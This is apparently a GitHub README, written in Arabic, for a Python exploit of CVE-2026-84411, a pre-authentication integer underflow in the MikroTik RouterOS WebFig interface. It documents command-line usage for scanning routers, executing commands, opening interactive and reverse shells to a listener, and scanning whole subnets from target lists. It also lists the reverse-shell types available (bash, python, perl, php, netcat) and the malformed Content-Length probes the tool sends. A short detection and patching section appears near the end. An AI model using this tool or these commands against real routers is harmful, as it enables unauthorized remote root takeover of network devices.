maxprog-svg/cve-2026-84411استغلال بلغة Python للثغرة CVE-2026-84411، وهي تحت-انسياب عددي (integer underflow) قبل المصادقة في MikroTik RouterOS WebFig يتيح تنفيذ التعليمات عن بُعد (RCE)، مع الفحص وتنفيذ الأوامر والأصداف العكسية.
CVE-2026-84411 هو ثغرة حرجة للتنفيذ عن بُعد للتعليمات البرمجية (RCE) قبل المصادقة في MikroTik RouterOS.
| الحقل | القيمة |
|---|---|
| CVSS v3 | 9.8 (حرجة) |
| CWE | CWE-191: انخفاض عدد صحيح (Integer Underflow) |
| ناقل الهجوم | الشبكة |
| المصادقة | لا شيء (قبل المصادقة) |
| التأثير | تنفيذ تعليمات برمجية عن بُعد كامل بصلاحيات الجذر / حجب الخدمة |
| المتأثر | RouterOS < 7.24 |
| المُصلَح | RouterOS 7.24+ |
تحتوي خدمة الإدارة عبر الويب (WebFig، التي تستمع على TCP/80 وTCP/443) على انخفاض عدد صحيح في معالجة جسم طلب HTTP الخاص بها. يمكن لطلب HTTP واحد مصمم خصيصًا — يُرسَل دون تسجيل الدخول — أن يُعطّل الخدمة أو يسمح بتنفيذ تعليمات برمجية عشوائية بصلاحيات كاملة.
يحدث الانخفاض عندما يحسب المحلّل طول الجسم بتحقق غير كافٍ، مما يسمح للقيمة بالالتفاف إلى ما دون الصفر والانخفاض إلى عدد صحيح غير مُوقَّع كبير جدًا. عندئذٍ تتصرف عمليات الذاكرة التي تثق بهذا الطول التالف (النسخ، والتخصيصات، وفحوصات الحدود) بشكل كارثي.
# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1
# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check
# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"
# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive
# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444
# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt
# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24
# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells
usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
[--check] [--shell LHOST LPORT] [--cmd COMMAND]
[--interactive] [--list-shells]
[--lhost LHOST] [--lport LPORT] [-v]
[--timeout TIMEOUT] [--no-color]
CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit
options:
-h, --help show this help message
-t, --target TARGET Target URL or host (e.g., http://192.168.88.1)
-i, --input INPUT_FILE
File with targets (one per line)
--range CIDR IP range to scan (CIDR notation)
--check Run full exploit check
--shell LHOST LPORT Spawn reverse shell
--cmd COMMAND Execute single command
--interactive Interactive shell session
--list-shells List available reverse shell types
--lhost LHOST Listener host for reverse shell
--lport LPORT Listener port for reverse shell
-v, --verbose Verbose output
--timeout TIMEOUT Request timeout in seconds (default: 10)
--no-color Disable ANSI colours
تستخدم الأداة أربع طرق للكشف:
Content-Length أكبر بكثير من حجم النص الفعليContent-Length سالبة لتحفيز underflowContent-Length مطابق| النوع | الأمر |
|---|---|
bash | Reverse shell قياسي بـ bash |
python | Reverse shell بـ Python 2 |
python3 | Reverse shell بـ Python 3 |
perl | Reverse shell بـ Perl |
php | Reverse shell بـ PHP |
nc | Reverse shell بـ Netcat |
targets.txt — هدف واحد لكل سطر:
http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com
أعلى إشارة موثوقية هي أي اتصال بمنافذ إدارة الويب في RouterOS (TCP/80، TCP/443) من مصدر ليس مضيف إدارة معروفًا.
راجع منشور مدونة Security Arsenal للحصول على قواعد Sigma: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide
قم بالتحديث إلى RouterOS 7.24 أو أحدث.
لاختبارات الأمان المصرح بها فقط.
نسخة Python مبنية على Go PoC بواسطة Gagaltotal666 / GhostGTR666.